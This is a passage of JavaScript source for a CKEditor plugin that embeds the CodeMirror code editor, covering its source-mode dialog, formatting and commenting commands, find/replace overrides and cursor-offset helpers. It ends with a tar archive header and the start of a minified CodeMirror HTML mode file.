                            onKeyEvent: function (codeMirror_Editor, evt) {
                                if (config.enableCodeFormatting) {
                                    var range = getSelectedRange();
                                    if (evt.type === "keydown" && evt.ctrlKey && evt.keyCode === 75 && !evt.shiftKey && !evt.altKey) {
                                        window["codemirror_" + editor.id].commentRange(true, range.from, range.to);
                                    } else if (evt.type === "keydown" && evt.ctrlKey && evt.keyCode === 75 && evt.shiftKey && !evt.altKey) {
                                        window["codemirror_" + editor.id].commentRange(false, range.from, range.to);
                                        if (config.autoFormatOnUncomment) {
                                            window["codemirror_" + editor.id].autoFormatRange(range.from, range.to);
                                        }
                                    } else if (evt.type === "keydown" && evt.ctrlKey && evt.keyCode === 75 && !evt.shiftKey && evt.altKey) {
                                        window["codemirror_" + editor.id].autoFormatRange(range.from, range.to);
                                    }
                                    /*else if (evt.type === "keydown") {
                                        CodeMirror.commands.newlineAndIndentContinueMarkdownList(window["codemirror_" + editor.id]);
                                    }*/
                                }
                            }
                        });

                        var holderHeight = height + 'px';
                        var holderWidth = width + 'px';

                        // Store config so we can access it within commands etc.
                        window["codemirror_" + editor.id].config = config;
                        
                        if (config.autoFormatOnStart) {
                            if (config.useBeautify) {
                                var indent_size = 4,
                                    indent_char = ' ',
                                    brace_style = 'collapse'; //collapse, expand, end-expand 

                                var source = window["codemirror_" + editor.id].getValue();

                                window["codemirror_" + editor.id].setValue(html_beautify(source, indent_size, indent_char, 120, brace_style));
                            } else {
                                window["codemirror_" + editor.id].autoFormatAll({
                                    line: 0,
                                    ch: 0
                                }, {
                                    line: window["codemirror_" + editor.id].lineCount(),
                                    ch: 0
                                });
                            }
                        }

                        function getSelectedRange() {
                            return {
                                from: window["codemirror_" + editor.id].getCursor(true),
                                to: window["codemirror_" + editor.id].getCursor(false)
                            };
                        }

                        window["codemirror_" + editor.id].on("change", function () {
                            window["codemirror_" + editor.id].save();
                            editor.fire('change', this);
                        });

                        window["codemirror_" + editor.id].setSize(holderWidth, holderHeight);

                        // Enable Code Folding (Requires 'lineNumbers' to be set to 'true')
                        if (config.lineNumbers && config.enableCodeFolding) {
                            window["codemirror_" + editor.id].on("gutterClick", window["foldFunc_" + editor.id]);
                        }
                        // Run config.onLoad callback, if present.
                        if (typeof config.onLoad === 'function') {
                            config.onLoad(window["codemirror_" + editor.id], editor);
                        }

                        // inherit blur event
                        window["codemirror_" + editor.id].on("blur", function () {
                            editor.fire('blur', this);
                        });
                    }

                    return {
                        title: editor.lang.sourcedialog.title,
                        minWidth: width,
                        minHeight: height,
                        resizable : CKEDITOR.DIALOG_RESIZE_NONE,
                        onShow: function () {
                            // Set Elements
                            this.getContentElement('main', 'data').focus();
                            this.getContentElement('main', 'AutoComplete').setValue(config.autoCloseTags, true);
                            
                            var textArea = this.getContentElement('main', 'data').getInputElement().$;
                            
                            // Load the content
                            this.setValueOf('main', 'data', oldData = editor.getData());

                            if (!IsStyleSheetAlreadyLoaded(rootPath + 'css/codemirror.min.css')) {
                                CKEDITOR.document.appendStyleSheet(rootPath + 'css/codemirror.min.css');
                            }

                            if (config.theme.length && config.theme != 'default' && !IsStyleSheetAlreadyLoaded(rootPath + 'theme/' + config.theme + '.css')) {
                                CKEDITOR.document.appendStyleSheet(rootPath + 'theme/' + config.theme + '.css');
                            }

                            if (typeof (CodeMirror) == 'undefined') {

                                CKEDITOR.scriptLoader.load(rootPath + 'js/codemirror.min.js', function() {

                                    CKEDITOR.scriptLoader.load(getCodeMirrorScripts(), function() {
                                        loadCodeMirrorInline(editor, textArea);
                                    });
                                });


                            } else {
                                //loadCodeMirrorInline(editor, textArea);
                                if (CodeMirror.prototype['autoFormatAll']) {
                                    loadCodeMirrorInline(editor, textArea);
                                } else {
                                    // loading the add-on scripts.
                                    CKEDITOR.scriptLoader.load(getCodeMirrorScripts(), function() {
                                        loadCodeMirrorInline(editor, textArea);
                                    });
                                }
                            }
                        },
                        onCancel: function (event) {
                            if (event.data.hide) {
                                window["codemirror_" + editor.id].toTextArea();

                                // Free Memory
                                window["codemirror_" + editor.id] = null;
                            }
                        },
                        onOk: (function () {

                            function setData(newData) {
                                var that = this;

                                editor.setData(newData, function () {
                                    that.hide();

                                    // Ensure correct selection.
                                    var range = editor.createRange();
                                    range.moveToElementEditStart(editor.editable());
                                    range.select();
                                });
                            }

                            return function () {
                                window["codemirror_" + editor.id].toTextArea();

                                // Free Memory
                                window["codemirror_" + editor.id] = null;

                                // Remove CR from input data for reliable comparison with editor data.
                                var newData = this.getValueOf('main', 'data').replace(/\r/g, '');

                                // Avoid unnecessary setData. Also preserve selection
                                // when user changed his mind and goes back to wysiwyg editing.
                                if (newData === oldData)
                                    return true;

                                // Set data asynchronously to avoid errors in IE.
                                CKEDITOR.env.ie ? CKEDITOR.tools.setTimeout(setData, 0, this, newData) : setData.call(this, newData);

                                // Don't let the dialog close before setData is over.
                                return false;
                            };
                        })(),

                        contents: [{
                            id: 'main',
                            label: editor.lang.sourcedialog.title,
                            elements: [
                                {
                                    type: 'hbox',
                                    style: 'width: 80px;margin:0;',
                                    widths: ['20px', '20px', '20px', '20px'],
                                    children: [
                                        {
                                            type: 'button',
                                            id: 'searchCode',
                                            label: '',
                                            title: lang.searchCode,
                                            'class': 'searchCodeButton',
                                            onClick: function() {
                                                CodeMirror.commands.find(window["codemirror_" + editor.id]);
                                            }
                                        }, {
                                            type: 'button',
                                            id: 'autoFormat',
                                            label: '',
                                            title: lang.autoFormat,
                                            'class': 'autoFormat',
                                            onClick: function() {
                                                var range = {
                                                    from: window["codemirror_" + editor.id].getCursor(true),
                                                    to: window["codemirror_" + editor.id].getCursor(false)
                                                };
                                                window["codemirror_" + editor.id].autoFormatRange(range.from, range.to);
                                            }
                                        }, {
                                            type: 'button',
                                            id: 'CommentSelectedRange',
                                            label: '',
                                            title: lang.commentSelectedRange,
                                            'class': 'CommentSelectedRange',
                                            onClick: function () {
                                                var range = {
                                                    from: window["codemirror_" + editor.id].getCursor(true),
                                                    to: window["codemirror_" + editor.id].getCursor(false)
                                                };
                                                window["codemirror_" + editor.id].commentRange(true, range.from, range.to);
                                            }
                                        }, {
                                            type: 'button',
                                            id: 'UncommentSelectedRange',
                                            label: '',
                                            title: lang.uncommentSelectedRange,
                                            'class': 'UncommentSelectedRange',
                                            onClick: function () {
                                                var range = {
                                                    from: window["codemirror_" + editor.id].getCursor(true),
                                                    to: window["codemirror_" + editor.id].getCursor(false)
                                                };
                                                window["codemirror_" + editor.id].commentRange(false, range.from, range.to);
                                                if (window["codemirror_" + editor.id].config.autoFormatOnUncomment) {
                                                    window["codemirror_" + editor.id].autoFormatRange(range.from, range.to);
                                                }
                                            }
                                        }]
                                }, {
                                    type: 'checkbox',
                                    id: 'AutoComplete',
                                    label: lang.autoCompleteToggle,
                                    title: lang.autoCompleteToggle,
                                    onChange: function () {
                                        window["codemirror_" + editor.id].setOption("autoCloseTags", this.getValue());
                                    }
                                }, {
                                    type: 'textarea',
                                    id: 'data',
                                    dir: 'ltr',
                                    inputStyle: 'cursor:auto;' +
                                        'width:' + width + 'px;' +
                                        'height:' + height + 'px;' +
                                        'tab-size:4;' +
                                        'text-align:left;',
                                    'class': 'cke_source cke_enable_context_menu'
                                }
                            ]
                        }]
                    };
                });

               // return;
            }
            
            /*
            // Override Copy Button
            if (editor.commands.copy) {
                editor.commands.copy.modes = {
                    wysiwyg: 1,
                    source: 1
                };

                // TODO
            }

            // Override Paste Button
            if (editor.commands.paste) {
                editor.commands.paste.modes = {
                    wysiwyg: 1,
                    source: 1
                };
                // TODO

            }

            // Override Cut Button
            if (editor.commands.cut) {
                editor.commands.cut.modes = {
                    wysiwyg: 1,
                    source: 1
                };

                // TODO
            }*/

            // Override Find Button
            if (editor.commands.find) {
                editor.commands.find.modes = {
                    wysiwyg: 1,
                    source: 1
                };

                editor.commands.find.exec = function() {
                    if (editor.mode === 'wysiwyg') {
                        editor.openDialog('find');
                    } else {
                        CodeMirror.commands.find(window["codemirror_" + editor.id]);
                    }
                };
            }
            
            // Override Replace Button
            if (editor.commands.replace) {
                editor.commands.replace.modes = {
                    wysiwyg: 1,
                    source: 1
                };

                editor.commands.replace.exec = function () {
                    if (editor.mode === 'wysiwyg') {
                        editor.openDialog('replace');
                    } else {
                        CodeMirror.commands.replace(window["codemirror_" + editor.id]);
                    }
                };
            }
            
            var sourcearea = CKEDITOR.plugins.sourcearea;
            
            // check if sourcearea plugin is overrriden
            if (!sourcearea.commands.searchCode) {

                CKEDITOR.plugins.sourcearea.commands = {
                    source: {
                        modes: {
                            wysiwyg: 1,
                            source: 1
                        },
                        editorFocus: false,
                        readOnly: 1,
                        exec: function(editorInstance) {
                            if (editorInstance.mode === 'wysiwyg') {
                                editorInstance.fire('saveSnapshot');
                            }
                            editorInstance.getCommand('source').setState(CKEDITOR.TRISTATE_DISABLED);
                            editorInstance.setMode(editorInstance.mode === 'source' ? 'wysiwyg' : 'source');
                        },
                        canUndo: false
                    },
                    searchCode: {
                        modes: {
                            wysiwyg: 0,
                            source: 1
                        },
                        editorFocus: false,
                        readOnly: 1,
                        exec: function (editorInstance) {
                            CodeMirror.commands.find(window["codemirror_" + editorInstance.id]);
                        },
                        canUndo: true
                    },
                    autoFormat: {
                        modes: {
                            wysiwyg: 0,
                            source: 1
                        },
                        editorFocus: false,
                        readOnly: 1,
                        exec: function (editorInstance) {
                            var range = {
                                from: window["codemirror_" + editorInstance.id].getCursor(true),
                                to: window["codemirror_" + editorInstance.id].getCursor(false)
                            };
                            window["codemirror_" + editorInstance.id].autoFormatRange(range.from, range.to);
                        },
                        canUndo: true
                    },
                    commentSelectedRange: {
                        modes: {
                            wysiwyg: 0,
                            source: 1
                        },
                        editorFocus: false,
                        readOnly: 1,
                        exec: function (editorInstance) {
                            var range = {
                                from: window["codemirror_" + editorInstance.id].getCursor(true),
                                to: window["codemirror_" + editorInstance.id].getCursor(false)
                            };
                            window["codemirror_" + editorInstance.id].commentRange(true, range.from, range.to);
                        },
                        canUndo: true
                    },
                    uncommentSelectedRange: {
                        modes: {
                            wysiwyg: 0,
                            source: 1
                        },
                        editorFocus: false,
                        readOnly: 1,
                        exec: function (editorInstance) {
                            var range = {
                                from: window["codemirror_" + editorInstance.id].getCursor(true),
                                to: window["codemirror_" + editorInstance.id].getCursor(false)
                            };
                            window["codemirror_" + editorInstance.id].commentRange(false, range.from, range.to);
                            if (window["codemirror_" + editorInstance.id].config.autoFormatOnUncomment) {
                                window["codemirror_" + editorInstance.id].autoFormatRange(
                                    range.from,
                                    range.to);
                            }
                        },
                        canUndo: true
                    },
                    autoCompleteToggle: {
                        modes: {
                            wysiwyg: 0,
                            source: 1
                        },
                        editorFocus: false,
                        readOnly: 1,
                        exec: function (editorInstance) {
                            if (this.state == CKEDITOR.TRISTATE_ON) {
                                window["codemirror_" + editorInstance.id].setOption("autoCloseTags", false);
                            } else if (this.state == CKEDITOR.TRISTATE_OFF) {
                                window["codemirror_" + editorInstance.id].setOption("autoCloseTags", true);
                            }

                            this.toggleState();
                        },
                        canUndo: true
                    }
                };
            }

            editor.addMode('source', function (callback) {
                if (!IsStyleSheetAlreadyLoaded(rootPath + 'css/codemirror.min.css')) {
                    CKEDITOR.document.appendStyleSheet(rootPath + 'css/codemirror.min.css');
                }

                if (config.theme.length && config.theme != 'default' && !IsStyleSheetAlreadyLoaded(rootPath + 'theme/' + config.theme + '.css')) {
                    CKEDITOR.document.appendStyleSheet(rootPath + 'theme/' + config.theme + '.css');
                }

                if (typeof (CodeMirror) == 'undefined') {

                    CKEDITOR.scriptLoader.load(rootPath + 'js/codemirror.min.js', function() {

                        CKEDITOR.scriptLoader.load(getCodeMirrorScripts(), function() {
                            loadCodeMirror(editor);
                            callback();
                        });
                    });
                } else {
                    if (CodeMirror.prototype['autoFormatAll']) {
                        loadCodeMirror(editor);
                        callback();
                    } else {
                        // loading the add-on scripts.
                        CKEDITOR.scriptLoader.load(getCodeMirrorScripts(), function() {
                            loadCodeMirror(editor);
                            callback();
                        });
                    }
                }
            });

            function getCodeMirrorScripts() {
                var scriptFiles = [rootPath + 'js/codemirror.addons.min.js'];

                switch (config.mode) {
                case "bbcode":
                    {
                        scriptFiles.push(rootPath + 'js/codemirror.mode.bbcode.min.js');
                    }

                    break;
                case "bbcodemixed":
                        {
                            scriptFiles.push(rootPath + 'js/codemirror.mode.bbcodemixed.min.js');
                        }

                        break;
                case "htmlmixed":
                    {
                        scriptFiles.push(rootPath + 'js/codemirror.mode.htmlmixed.min.js');
                    }

                    break;
                case "text/html":
                    {
                        scriptFiles.push(rootPath + 'js/codemirror.mode.htmlmixed.min.js');
                    }

                    break;
                case "application/x-httpd-php":
                    {
                        scriptFiles.push(rootPath + 'js/codemirror.mode.php.min.js');
                    }

                    break;
                case "text/javascript":
                    {
                        scriptFiles.push(rootPath + 'js/codemirror.mode.javascript.min.js');
                    }

                    break;
                default:
                    scriptFiles.push(rootPath + 'js/codemirror.mode.htmlmixed.min.js');
                }

                if (config.useBeautify) {
                    scriptFiles.push(rootPath + 'js/beautify.min.js');
                }

                if (config.enableSearchTools) {
                    scriptFiles.push(rootPath + 'js/codemirror.addons.search.min.js');
                }
                return scriptFiles;
            }

            function loadCodeMirror(editor) {
                var contentsSpace = editor.ui.space('contents'),
                    textarea = contentsSpace.getDocument().createElement('textarea');

                textarea.setStyles(
                    CKEDITOR.tools.extend({
                            // IE7 has overflow the <textarea> from wrapping table cell.
                            width: CKEDITOR.env.ie7Compat ? '99%' : '100%',
                            height: '100%',
                            resize: 'none',
                            outline: 'none',
                            'text-align': 'left'
                        },
                        CKEDITOR.tools.cssVendorPrefix('tab-size', editor.config.sourceAreaTabSize || 4)));
                var ariaLabel = [editor.lang.editor, editor.name].join(',');
                textarea.setAttributes({
                    dir: 'ltr',
                    tabIndex: CKEDITOR.env.webkit ? -1 : editor.tabIndex,
                    'role': 'textbox',
                    'aria-label': ariaLabel
                });
                textarea.addClass('cke_source');
                textarea.addClass('cke_reset');
                textarea.addClass('cke_enable_context_menu');
                editor.ui.space('contents').append(textarea);
                window["editable_" + editor.id] = editor.editable(new sourceEditable(editor, textarea));
                // Fill the textarea with the current editor data.
                window["editable_" + editor.id].setData(editor.getData(1));
                window["editable_" + editor.id].editorID = editor.id;
                editor.fire('ariaWidget', this);

                var sourceAreaElement = window["editable_" + editor.id],
                    holderElement = sourceAreaElement.getParent();

                /*CodeMirror.commands.autocomplete = function(cm) {
                    CodeMirror.showHint(cm, CodeMirror.htmlHint);
                };*/

                // Enable Code Folding (Requires 'lineNumbers' to be set to 'true')
                if (config.lineNumbers && config.enableCodeFolding) {
                    window["foldFunc_" + editor.id] = CodeMirror.newFoldFunction(CodeMirror.tagRangeFinder);
                }

                function getCodeMirrorKey(ckeditorKeystroke) {
                    var MODIFIERS = [
                        [CKEDITOR.SHIFT, "Shift-"],
                        [CKEDITOR.CTRL, "Ctrl-"],
                        [CKEDITOR.ALT, "Alt-"]
                    ];
                    var keyModifiers = "";
                    for (var i = 0; i < MODIFIERS.length; i++) {
                        if (ckeditorKeystroke & MODIFIERS[i][0]) {
                            ckeditorKeystroke -= MODIFIERS[i][0];
                            keyModifiers += MODIFIERS[i][1];
                        }
                    }
                    if (CodeMirror.keyNames[ckeditorKeystroke]) {
                        return keyModifiers + CodeMirror.keyNames[ckeditorKeystroke];
                    }
                    return null;
                }

                function addCKEditorKeystrokes(editorExtraKeys) {
                    var ckeditorKeystrokes = editor.config.keystrokes;
                    if (CKEDITOR.tools.isArray(ckeditorKeystrokes)) {
                        for (var i = 0; i < ckeditorKeystrokes.length; i++) {
                            var key = getCodeMirrorKey(ckeditorKeystrokes[i][0]);
                            if (key !== null) {
                                (function (command) {
                                    editorExtraKeys[key] = function () {
                                        editor.execCommand(command);
                                    }
                                })(ckeditorKeystrokes[i][1]);
                            }
                        }
                    }
                }

                var extraKeys = {
                    "Ctrl-Q": function(codeMirror_Editor) {
                        if (config.enableCodeFolding) {
                            window["foldFunc_" + editor.id](codeMirror_Editor, codeMirror_Editor.getCursor().line);
                        }
                    },
                    "'>'": function (codeMirror_Editor) {
                        codeMirror_Editor.closeTag(codeMirror_Editor, '>');
                    },
                    "'/'": function (codeMirror_Editor) {
                        codeMirror_Editor.closeTag(codeMirror_Editor, '/');
                    }
                };

                addCKEditorKeystrokes(extraKeys);

                window["codemirror_" + editor.id] = CodeMirror.fromTextArea(sourceAreaElement.$, {
                    mode: config.mode,
                    matchBrackets: config.matchBrackets,
                    matchTags: config.matchTags,
                    workDelay: 300,
                    workTime: 35,
                    readOnly: editor.readOnly,
                    lineNumbers: config.lineNumbers,
                    lineWrapping: true,
                    autoCloseTags: config.autoCloseTags,
                    autoCloseBrackets: config.autoCloseBrackets,
                    highlightSelectionMatches: config.highlightMatches,
                    continueComments: config.continueComments,
                    indentWithTabs: config.indentWithTabs,
                    theme: config.theme,
                    showTrailingSpace: config.showTrailingSpace,
                    showCursorWhenSelecting: true,
                    styleActiveLine: config.styleActiveLine,
                    //extraKeys: {"Ctrl-Space": "autocomplete"},
                    extraKeys: extraKeys,
                    foldGutter: true,
                    gutters: ["CodeMirror-linenumbers", "CodeMirror-foldgutter"],
                    onKeyEvent: function (codeMirror_Editor, evt) {
                        
                        if (config.enableCodeFormatting) {
                            var range = getSelectedRange();
                            if (evt.type === "keydown" && evt.ctrlKey && evt.keyCode === 75 && !evt.shiftKey && !evt.altKey) {
                                window["codemirror_" + editor.id].commentRange(true, range.from, range.to);
                            } else if (evt.type === "keydown" && evt.ctrlKey && evt.keyCode === 75 && evt.shiftKey && !evt.altKey) {
                                window["codemirror_" + editor.id].commentRange(false, range.from, range.to);
                                if (config.autoFormatOnUncomment) {
                                    window["codemirror_" + editor.id].autoFormatRange(range.from, range.to);
                                }
                            } else if (evt.type === "keydown" && evt.ctrlKey && evt.keyCode === 75 && !evt.shiftKey && evt.altKey) {
                                window["codemirror_" + editor.id].autoFormatRange(range.from, range.to);
                            }/* else if (evt.type === "keydown") {
                                CodeMirror.commands.newlineAndIndentContinueMarkdownList(window["codemirror_" + editor.id]);
                            }*/
                        }
                    }
                });

                var holderHeight = holderElement.$.clientHeight == 0 ? editor.ui.space('contents').getStyle('height') : holderElement.$.clientHeight + 'px';
                var holderWidth = holderElement.$.clientWidth + 'px';

                // Store config so we can access it within commands etc.
                window["codemirror_" + editor.id].config = config;
                if (config.autoFormatOnStart) {
                    if (config.useBeautify) {
                        var indent_size = 4;
                        var indent_char = ' ';
                        var brace_style = 'collapse'; //collapse, expand, end-expand 

                        var source = window["codemirror_" + editor.id].getValue();

                        window["codemirror_" + editor.id].setValue(html_beautify(source, indent_size, indent_char, 120, brace_style));
                    } else {
                        window["codemirror_" + editor.id].autoFormatAll({
                            line: 0,
                            ch: 0
                        }, {
                            line: window["codemirror_" + editor.id].lineCount(),
                            ch: 0
                        });
                    }
                }

                function getSelectedRange() {
                    return {
                        from: window["codemirror_" + editor.id].getCursor(true),
                        to: window["codemirror_" + editor.id].getCursor(false)
                    };
                }

                window["codemirror_" + editor.id].on("change", function () {
                    window["codemirror_" + editor.id].save();
                    editor.fire('change', this);
                });

                window["codemirror_" + editor.id].setSize(null, holderHeight);
                
                // Enable Code Folding (Requires 'lineNumbers' to be set to 'true')
                if (config.lineNumbers && config.enableCodeFolding) {
                    window["codemirror_" + editor.id].on("gutterClick", window["foldFunc_" + editor.id]);
                }

                // Run config.onLoad callback, if present.
                if (typeof config.onLoad === 'function') {
                    config.onLoad(window["codemirror_" + editor.id], editor);
                }

                // inherit blur event
                window["codemirror_" + editor.id].on("blur", function () {
                    editor.fire('blur', this);
                });
            }

            editor.addCommand('source', sourcearea.commands.source);
            if (editor.ui.addButton) {
                editor.ui.addButton('Source', {
                    label: editor.lang.codemirror.toolbar,
                    command: 'source',
                    toolbar: 'mode,10'
                });
            }
            if (config.enableCodeFormatting) {
                editor.addCommand('searchCode', sourcearea.commands.searchCode);
                editor.addCommand('autoFormat', sourcearea.commands.autoFormat);
                editor.addCommand('commentSelectedRange', sourcearea.commands.commentSelectedRange);
                editor.addCommand('uncommentSelectedRange', sourcearea.commands.uncommentSelectedRange);
                editor.addCommand('autoCompleteToggle', sourcearea.commands.autoCompleteToggle);

                if (editor.ui.addButton) {
                    if (config.showFormatButton || config.showCommentButton || config.showUncommentButton || config.showSearchButton) {
                        editor.ui.add('-', CKEDITOR.UI_SEPARATOR, { toolbar: 'mode,30' });
                    }
                    /*if (config.showSearchButton && config.enableSearchTools) {
                        editor.ui.addButton('searchCode', {
                            label: lang.searchCode,
                            command: 'searchCode',
                            toolbar: 'mode,40'
                        });
                    }*/
                    if (config.showFormatButton) {
                        editor.ui.addButton('autoFormat', {
                            label: lang.autoFormat,
                            command: 'autoFormat',
                            toolbar: 'mode,50'
                        });
                    }
                    if (config.showCommentButton) {
                        editor.ui.addButton('CommentSelectedRange', {
                            label: lang.commentSelectedRange,
                            command: 'commentSelectedRange',
                            toolbar: 'mode,60'
                        });
                    }
                    if (config.showUncommentButton) {
                        editor.ui.addButton('UncommentSelectedRange', {
                            label: lang.uncommentSelectedRange,
                            command: 'uncommentSelectedRange',
                            toolbar: 'mode,70'
                        });
                    }
                    if (config.showAutoCompleteButton) {
                        editor.ui.addButton('AutoComplete', {
                            label: lang.autoCompleteToggle,
                            command: 'autoCompleteToggle',
                            toolbar: 'mode,80'
                        });
                    }
                }
            }
            
            editor.on('beforeModeUnload', function (evt) {
                if (editor.mode === 'source' && editor.plugins.textselection) {

                    var range = editor.getTextSelection();

                    range.startOffset = LineChannelToOffSet(window["codemirror_" + editor.id], window["codemirror_" + editor.id].getCursor(true));
                    range.endOffset = LineChannelToOffSet(window["codemirror_" + editor.id], window["codemirror_" + editor.id].getCursor(false));

                    // Fly the range when create bookmark. 
                    delete range.element;
                    range.createBookmark(editor);
                    sourceBookmark = true;

                    evt.data = range.content;
                }
            });
            editor.on('mode', function () {
                editor.getCommand('source').setState(editor.mode === 'source' ? CKEDITOR.TRISTATE_ON : CKEDITOR.TRISTATE_OFF);

                if (editor.mode === 'source') {
                    editor.getCommand('autoCompleteToggle').setState(window["codemirror_" + editor.id].config.autoCloseTags ? CKEDITOR.TRISTATE_ON : CKEDITOR.TRISTATE_OFF);

                    if (editor.plugins.textselection && textRange) {

                        //textRange.element = new CKEDITOR.dom.element(editor._.editable.$);
                        //textRange.select();

                        var start, end;

                        start = OffSetToLineChannel(window["codemirror_" + editor.id], textRange.startOffset);

                        if (typeof (textRange.endOffset) == 'undefined') {
                            window["codemirror_" + editor.id].focus();
                            window["codemirror_" + editor.id].setCursor(start);
                        } else {
                            window["codemirror_" + editor.id].focus();
                            end = OffSetToLineChannel(window["codemirror_" + editor.id], textRange.endOffset);
                            window["codemirror_" + editor.id].setSelection(start, end);
                        }
                    }
                }

            });
            editor.on('resize', function() {
                if (window["editable_" + editor.id] && editor.mode === 'source') {
                    var holderElement = window["editable_" + editor.id].getParent();
                    var holderHeight = holderElement.$.clientHeight + 'px';
                    var holderWidth = holderElement.$.clientWidth + 'px';
                    window["codemirror_" + editor.id].setSize(holderWidth, holderHeight);
                }
            });
            
            editor.on('readOnly', function () {
                if (window["editable_" + editor.id] && editor.mode === 'source') {
                    window["codemirror_" + editor.id].setOption("readOnly", this.readOnly);
                }
            });
            
            editor.on('instanceReady', function (evt) {

                // Fix native context menu
                editor.container.getPrivate().events.contextmenu.listeners.splice(0, 1);

                var selectAllCommand = editor.commands.selectAll;

                // Replace Complete SelectAll command from the plugin, otherwise it will not work in IE10
                if (selectAllCommand != null) {
                    selectAllCommand.exec = function () {
                        if (editor.mode === 'source') {
                            window["codemirror_" + editor.id].setSelection({
                                line: 0,
                                ch: 0
                            }, {
                                line: window["codemirror_" + editor.id].lineCount(),
                                ch: 0
                            });
                        } else {
                            var editable = editor.editable();
                            if (editable.is('body'))
                                editor.document.$.execCommand('SelectAll', false, null);
                            else {
                                var range = editor.createRange();
                                range.selectNodeContents(editable);
                                range.select();
                            }

                            // Force triggering selectionChange (#7008)
                            editor.forceNextSelectionCheck();
                            editor.selectionChange();
                        }
                    };
                }
            });

            if (typeof (jQuery) != 'undefined' && jQuery('a[data-toggle="tab"]') && window["codemirror_" + editor.id]) {
                jQuery('a[data-toggle="tab"]').on('shown.bs.tab', function() {
                    window["codemirror_" + editor.id].refresh();
                });
            }

            editor.on('setData', function (data) {
 
                if (window["editable_" + editor.id] && editor.mode === 'source') {
                    window["codemirror_" + editor.id].setValue(data.data.dataValue);
                }
            });
        }
    });
    var sourceEditable = CKEDITOR.tools.createClass({
        base: CKEDITOR.editable,
        proto: {
            setData: function(data) {

                this.setValue(data);

                if (this.codeMirror != null) {
                    this.codeMirror.setValue(data);
                }

                this.editor.fire('dataReady');
            },
            getData: function() {
                return this.getValue();
            },
            // Insertions are not supported in source editable.
            insertHtml: function() {
            },
            insertElement: function() {
            },
            insertText: function() {
            },
            // Read-only support for textarea.
            setReadOnly: function(isReadOnly) {
                this[(isReadOnly ? 'set' : 'remove') + 'Attribute']('readOnly', 'readonly');
            },
            editorID: null,
            detach: function() {
                window["codemirror_" + this.editorID].toTextArea();
                
                // Free Memory on destroy
                window["editable_" + this.editorID] = null;
                window["codemirror_" + this.editorID] = null;

                sourceEditable.baseProto.detach.call(this);
                
                this.clearCustomData();
                this.remove();
            }
        }
    });
})();
CKEDITOR.plugins.sourcearea = {
    commands: {
        source: {
            modes: {
                wysiwyg: 1,
                source: 1
            },
            editorFocus: false,
            readOnly: 1,
            exec: function(editor) {
                if (editor.mode === 'wysiwyg') {
                    editor.fire('saveSnapshot');
                }

                editor.getCommand('source').setState(CKEDITOR.TRISTATE_DISABLED);
                editor.setMode(editor.mode === 'source' ? 'wysiwyg' : 'source');
            },
            canUndo: false
        },
        searchCode: {
            modes: {
                wysiwyg: 0,
                source: 1
            },
            editorFocus: false,
            readOnly: 1,
            exec: function(editor) {
                CodeMirror.commands.find(window["codemirror_" + editor.id]);
            },
            canUndo: true
        },
        autoFormat: {
            modes: {
                wysiwyg: 0,
                source: 1
            },
            editorFocus: false,
            readOnly: 0,
            exec: function (editor) {
                var range = {
                    from: window["codemirror_" + editor.id].getCursor(true),
                    to: window["codemirror_" + editor.id].getCursor(false)
                };
                window["codemirror_" + editor.id].autoFormatRange(range.from, range.to);
            },
            canUndo: true
        },
        commentSelectedRange: {
            modes: {
                wysiwyg: 0,
                source: 1
            },
            editorFocus: false,
            readOnly: 0,
            exec: function (editor) {
                var range = {
                    from: window["codemirror_" + editor.id].getCursor(true),
                    to: window["codemirror_" + editor.id].getCursor(false)
                };
                window["codemirror_" + editor.id].commentRange(true, range.from, range.to);
            },
            canUndo: true
        },
        uncommentSelectedRange: {
            modes: {
                wysiwyg: 0,
                source: 1
            },
            editorFocus: false,
            readOnly: 0,
            exec: function(editor) {
                var range = {
                    from: window["codemirror_" + editor.id].getCursor(true),
                    to: window["codemirror_" + editor.id].getCursor(false)
                };
                window["codemirror_" + editor.id].commentRange(false, range.from, range.to);
                if (window["codemirror_" + editor.id].config.autoFormatOnUncomment) {
                    window["codemirror_" + editor.id].autoFormatRange(
                        range.from,
                        range.to);
                }
            },
            canUndo: true
        },
        autoCompleteToggle: {
            modes: {
                wysiwyg: 0,
                source: 1
            },
            editorFocus: false,
            readOnly: 1,
            exec: function (editor) {
                if (this.state == CKEDITOR.TRISTATE_ON) {
                    window["codemirror_" + editor.id].setOption("autoCloseTags", false);
                } else if (this.state == CKEDITOR.TRISTATE_OFF) {
                    window["codemirror_" + editor.id].setOption("autoCloseTags", true);
                }

                this.toggleState();
            },
            canUndo: true
        }
    }
};

function LineChannelToOffSet(ed, linech) {
    var line = linech.line;
    var ch = linech.ch;
    var n = (line + ch); //for the \n s & chars in the line
    for (i = 0; i < line; i++) {
        n += (ed.getLine(i)).length;//for the chars in all preceeding lines
    }
    return n;
}

function OffSetToLineChannel(ed, n) {
    var line = 0, ch = 0, index = 0;
    for (i = 0; i < ed.lineCount() ; i++) {
        len = (ed.getLine(i)).length;
        if (n < index + len) {
            
            line = i;
            ch = n - index;
            return { line: line, ch: ch };
        }
        len++;//for \n char
        index += len;
    }
    return { line: line, ch: ch };
}

function IsStyleSheetAlreadyLoaded(href) {
    var links = CKEDITOR.document.getHead().find('link');

    for (var i = 0; i < links.count() ; i++) {
        if (links.getItem(i).$.href === href) {
            return true;
        }
    }

    return false;
}        editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/js/codemirror.mode.htmlmixed.min.js         0000705                 00000136023 15242051521 0026433 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       (function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror"],a)}else{a(CodeMirror)}}})(function(a){a.defineMode("xml",function(y,k){var p=y.indentUnit;var x=k.multilineTagIndentFactor||1;var d=k.multilineTagIndentPastTag;if(d==null){d=true}var 